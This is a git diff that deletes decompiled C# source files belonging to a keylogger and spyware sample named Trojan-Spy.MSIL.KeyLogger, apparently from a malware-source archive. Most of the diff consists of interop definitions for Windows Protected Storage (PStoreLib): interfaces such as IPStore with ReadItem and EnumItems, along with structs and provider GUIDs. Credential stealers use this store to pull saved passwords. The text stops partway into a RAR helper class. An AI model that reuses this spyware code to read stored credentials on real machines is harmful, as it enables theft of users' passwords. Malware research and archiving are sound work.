C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace Roy.PStoreLib -{ - [InterfaceType(1)] - [Guid("5A6F1EBF-2DB1-11D0-8C39-00C04FD9126B")] - [ComImport] - public interface IEnumPStoreProviders - { - [MethodImpl(MethodImplOptions.PreserveSig | MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)] - int Next([In] int celt, [In, Out] ref int rgelt, [In, Out] ref int pceltFetched); - - [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)] - void Skip([In] int celt); - - [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)] - void Reset(); - - [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)] - [return: MarshalAs(UnmanagedType.Interface)] - IEnumPStoreProviders Clone(); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/IEnumPStoreTypes.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/IEnumPStoreTypes.cs deleted file mode 100644 index 83bdad5e..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/IEnumPStoreTypes.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.PStoreLib.IEnumPStoreTypes -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace Roy.PStoreLib -{ - [Guid("789C1CBF-31EE-11D0-8C39-00C04FD9126B")] - [InterfaceType(1)] - [ComImport] - public interface IEnumPStoreTypes - { - [MethodImpl(MethodImplOptions.PreserveSig | MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)] - int Next([In] int celt, [In, Out] ref Guid rgelt, [In, Out] ref int pceltFetched); - - [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)] - void Skip([In] int celt); - - [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)] - void Reset(); - - [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)] - [return: MarshalAs(UnmanagedType.Interface)] - IEnumPStoreTypes Clone(); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/IPStore.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/IPStore.cs deleted file mode 100644 index ff820f9c..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/IPStore.cs +++ /dev/null @@ -1,139 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.PStoreLib.IPStore -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace Roy.PStoreLib -{ - [ComConversionLoss] - [InterfaceType(1)] - [Guid("5A6F1EC0-2DB1-11D0-8C39-00C04FD9126B")] - [ComImport] - public interface IPStore - { - [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)] - void GetInfo([In, Out] IntPtr ppProperties); - - [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)] - void GetProvParam([In] int dwParam, [In, Out] ref int pcbData, [In, Out] ref int ppbData, [In] int dwFlags); - - [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)] - void SetProvParam([In] int dwParam, [In] int cbData, [In] int pbData, [In] int dwFlags); - - [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)] - void CreateType([In] PST_KEY Key, [In] ref Guid pType, [In] ref PST_TYPEINFO pInfo, [In] int dwFlags); - - [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)] - void GetTypeInfo([In] PST_KEY Key, [In] ref Guid pType, [In, Out] ref int ppInfo, [In] int dwFlags); - - [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)] - void DeleteType([In] PST_KEY Key, [In] ref Guid pType, [In] int dwFlags); - - [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)] - void CreateSubtype( - [In] PST_KEY Key, - [In] ref Guid pType, - [In] ref Guid pSubtype, - [In] ref PST_TYPEINFO pInfo, - [In] ref PST_ACCESSRULESET pRules, - [In] int dwFlags); - - [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)] - void GetSubtypeInfo( - [In] PST_KEY Key, - [In] ref Guid pType, - [In] ref Guid pSubtype, - [In, Out] ref int ppInfo, - [In] int dwFlags); - - [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)] - void DeleteSubtype([In] PST_KEY Key, [In] ref Guid pType, [In] ref Guid pSubtype, [In] int dwFlags); - - [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)] - void ReadAccessRuleset( - [In] PST_KEY Key, - [In] ref Guid pType, - [In] ref Guid pSubtype, - [In, Out] ref int ppRules, - [In] int dwFlags); - - [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)] - void WriteAccessRuleset( - [In] PST_KEY Key, - [In] ref Guid pType, - [In] ref Guid pSubtype, - [In] ref PST_ACCESSRULESET pRules, - [In] int dwFlags); - - [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)] - [return: MarshalAs(UnmanagedType.Interface)] - IEnumPStoreTypes EnumTypes([In] PST_KEY Key, [In] int dwFlags); - - [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)] - [return: MarshalAs(UnmanagedType.Interface)] - IEnumPStoreTypes EnumSubtypes([In] PST_KEY Key, [In] ref Guid pType, [In] int dwFlags); - - [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)] - void DeleteItem( - [In] PST_KEY Key, - [In] ref Guid pItemType, - [In] ref Guid pItemSubtype, - [MarshalAs(UnmanagedType.LPWStr), In] string szItemName, - [In] int pPromptInfo, - [In] int dwFlags); - - [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)] - void ReadItem( - [In] PST_KEY Key, - [In] ref Guid pItemType, - [In] ref Guid pItemSubtype, - [MarshalAs(UnmanagedType.LPWStr), In] string szItemName, - [In, Out] ref int pcbData, - [In, Out] ref IntPtr ppbData, - [In] int pPromptInfo, - [In] int dwFlags); - - [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)] - void WriteItem( - [In] PST_KEY Key, - [In] ref Guid pItemType, - [In] ref Guid pItemSubtype, - [MarshalAs(UnmanagedType.LPWStr), In] string szItemName, - [In] int cbData, - [In] int pbData, - [In] ref PST_PROMPTINFO pPromptInfo, - [In] int dwDefaultConfirmationStyle, - [In] int dwFlags); - - [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)] - void OpenItem( - [In] PST_KEY Key, - [In] ref Guid pItemType, - [In] ref Guid pItemSubtype, - [MarshalAs(UnmanagedType.LPWStr), In] string szItemName, - [In] int ModeFlags, - [In] ref PST_PROMPTINFO pPromptInfo, - [In] int dwFlags); - - [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)] - void CloseItem( - [In] PST_KEY Key, - [In] ref Guid pItemType, - [In] ref Guid pItemSubtype, - [MarshalAs(UnmanagedType.LPWStr), In] string szItemName, - [In] int dwFlags); - - [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)] - [return: MarshalAs(UnmanagedType.Interface)] - IEnumPStoreItems EnumItems( - [In] PST_KEY Key, - [In] ref Guid pItemType, - [In] ref Guid pItemSubtype, - [In] int dwFlags); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_ACCESSCLAUSE.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_ACCESSCLAUSE.cs deleted file mode 100644 index 2904d3f0..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_ACCESSCLAUSE.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.PStoreLib.PST_ACCESSCLAUSE -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using System.Runtime.InteropServices; - -namespace Roy.PStoreLib -{ - [StructLayout(LayoutKind.Sequential, Pack = 4)] - public struct PST_ACCESSCLAUSE - { - public int cbSize; - public int ClauseType; - public int cbClauseData; - public int pbClauseData; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_ACCESSRULE.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_ACCESSRULE.cs deleted file mode 100644 index e793ba2a..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_ACCESSRULE.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.PStoreLib.PST_ACCESSRULE -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using System.Runtime.InteropServices; - -namespace Roy.PStoreLib -{ - [StructLayout(LayoutKind.Sequential, Pack = 4)] - public struct PST_ACCESSRULE - { - public int cbSize; - public int AccessModeFlags; - public int cClauses; - public int rgClauses; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_ACCESSRULESET.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_ACCESSRULESET.cs deleted file mode 100644 index 932c9bd3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_ACCESSRULESET.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.PStoreLib.PST_ACCESSRULESET -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using System.Runtime.InteropServices; - -namespace Roy.PStoreLib -{ - [StructLayout(LayoutKind.Sequential, Pack = 4)] - public struct PST_ACCESSRULESET - { - public int cbSize; - public int cRules; - public int rgRules; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_AUTHENTICODEDATA.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_AUTHENTICODEDATA.cs deleted file mode 100644 index 38d346f3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_AUTHENTICODEDATA.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.PStoreLib.PST_AUTHENTICODEDATA -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using System.Runtime.InteropServices; - -namespace Roy.PStoreLib -{ - [StructLayout(LayoutKind.Sequential, Pack = 4)] - public struct PST_AUTHENTICODEDATA - { - public int cbSize; - public int dwModifiers; - public int szRootCA; - public int szIssuer; - public int szPublisher; - public int szProgramName; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_BINARYCHECKDATA.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_BINARYCHECKDATA.cs deleted file mode 100644 index 62af831c..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_BINARYCHECKDATA.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.PStoreLib.PST_BINARYCHECKDATA -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using System.Runtime.InteropServices; - -namespace Roy.PStoreLib -{ - [StructLayout(LayoutKind.Sequential, Pack = 4)] - public struct PST_BINARYCHECKDATA - { - public int cbSize; - public int dwModifiers; - public int szFilePath; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_ERROR_CODE.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_ERROR_CODE.cs deleted file mode 100644 index 43c3e86e..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_ERROR_CODE.cs +++ /dev/null @@ -1,35 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.PStoreLib.PST_ERROR_CODE -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -namespace Roy.PStoreLib -{ - public enum PST_ERROR_CODE - { - PST_E_FAIL = -2146697215, // 0x800C0001 - PST_E_PROV_DLL_NOT_FOUND = -2146697214, // 0x800C0002 - PST_E_INVALID_HANDLE = -2146697213, // 0x800C0003 - PST_E_TYPE_EXISTS = -2146697212, // 0x800C0004 - PST_E_TYPE_NO_EXISTS = -2146697211, // 0x800C0005 - PST_E_INVALID_RULESET = -2146697210, // 0x800C0006 - PST_E_NO_PERMISSIONS = -2146697209, // 0x800C0007 - PST_E_STORAGE_ERROR = -2146697208, // 0x800C0008 - PST_E_CALLER_NOT_VERIFIED = -2146697207, // 0x800C0009 - PST_E_WRONG_PASSWORD = -2146697206, // 0x800C000A - PST_E_DISK_IMAGE_MISMATCH = -2146697205, // 0x800C000B - PST_E_UNKNOWN_EXCEPTION = -2146697203, // 0x800C000D - PST_E_BAD_FLAGS = -2146697202, // 0x800C000E - PST_E_ITEM_EXISTS = -2146697201, // 0x800C000F - PST_E_ITEM_NO_EXISTS = -2146697200, // 0x800C0010 - PST_E_SERVICE_UNAVAILABLE = -2146697199, // 0x800C0011 - PST_E_NOTEMPTY = -2146697198, // 0x800C0012 - PST_E_INVALID_STRING = -2146697197, // 0x800C0013 - PST_E_STATE_INVALID = -2146697196, // 0x800C0014 - PST_E_NOT_OPEN = -2146697195, // 0x800C0015 - PST_E_ALREADY_OPEN = -2146697194, // 0x800C0016 - PST_E_NYI = -2146693376, // 0x800C0F00 - PST_E_OK = 0, - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_KEY.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_KEY.cs deleted file mode 100644 index c6c387ab..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_KEY.cs +++ /dev/null @@ -1,14 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.PStoreLib.PST_KEY -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -namespace Roy.PStoreLib -{ - public enum PST_KEY - { - PST_KEY_CURRENT_USER, - PST_KEY_LOCAL_MACHINE, - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_PROMPTINFO.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_PROMPTINFO.cs deleted file mode 100644 index bd7098c8..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_PROMPTINFO.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.PStoreLib.PST_PROMPTINFO -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using System.Runtime.InteropServices; - -namespace Roy.PStoreLib -{ - [StructLayout(LayoutKind.Sequential, Pack = 4)] - public struct PST_PROMPTINFO - { - public int cbSize; - public int dwPromptFlags; - public int hwndApp; - public int szPrompt; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_PROVIDERINFO.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_PROVIDERINFO.cs deleted file mode 100644 index 243c5fcd..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_PROVIDERINFO.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.PStoreLib.PST_PROVIDERINFO -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using System; -using System.Runtime.InteropServices; - -namespace Roy.PStoreLib -{ - [StructLayout(LayoutKind.Sequential, Pack = 4)] - public struct PST_PROVIDERINFO - { - public int cbSize; - public Guid ID; - public int Capabilities; - public IntPtr szProviderName; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_TYPEINFO.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_TYPEINFO.cs deleted file mode 100644 index 1026962e..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/PST_TYPEINFO.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.PStoreLib.PST_TYPEINFO -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using System; -using System.Runtime.InteropServices; - -namespace Roy.PStoreLib -{ - [StructLayout(LayoutKind.Sequential, Pack = 4)] - public struct PST_TYPEINFO - { - public int cbSize; - public IntPtr szDisplayName; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/guidProvider.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/guidProvider.cs deleted file mode 100644 index 4e9cb579..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/guidProvider.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.PStoreLib.guidProvider -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using System; - -namespace Roy.PStoreLib -{ - public abstract class guidProvider - { - public static readonly string MS_BASE_PSTPROVIDER_NAME = "System Protected Storage"; - public static readonly Guid MS_BASE_PSTPROVIDER_SZID = new Guid("{8a078c30-3755-11d0-a0bd-00aa0061426a}"); - public static readonly string MS_PFX_PSTPROVIDER_NAME = "PFX Storage Provider"; - public static readonly Guid MS_PFX_PSTPROVIDER_SZID = new Guid("{3ca94f30-7ac1-11d0-8c42-00c04fc299eb}"); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/guidType.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/guidType.cs deleted file mode 100644 index c1477d49..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/guidType.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.PStoreLib.guidType -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using System.Runtime.InteropServices; - -namespace Roy.PStoreLib -{ - public abstract class guidType - { - [MarshalAs(UnmanagedType.LPStr)] - public const string PST_CONFIGDATA_TYPE_STRING = "Configuration Data"; - [MarshalAs(UnmanagedType.LPStr)] - public const string PST_PROTECTEDSTORAGE_SUBTYPE_STRING = "Protected Storage"; - [MarshalAs(UnmanagedType.LPStr)] - public const string PST_PSTORE_PROVIDERS_SUBTYPE_STRING = "Protected Storage Provider List"; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/RAR.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/RAR.cs deleted file mode 100644 index 53f74212..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/RAR.cs +++ /dev/null @@ -1,93 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.RAR -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Diagnostics; -using System.IO; -using System.Runtime.InteropServices; -using System.Text; - -namespace Roy -{ - [StandardModule] - internal sealed class RAR - { - private static string _rarPath; - private static string _copiedExeName; - - 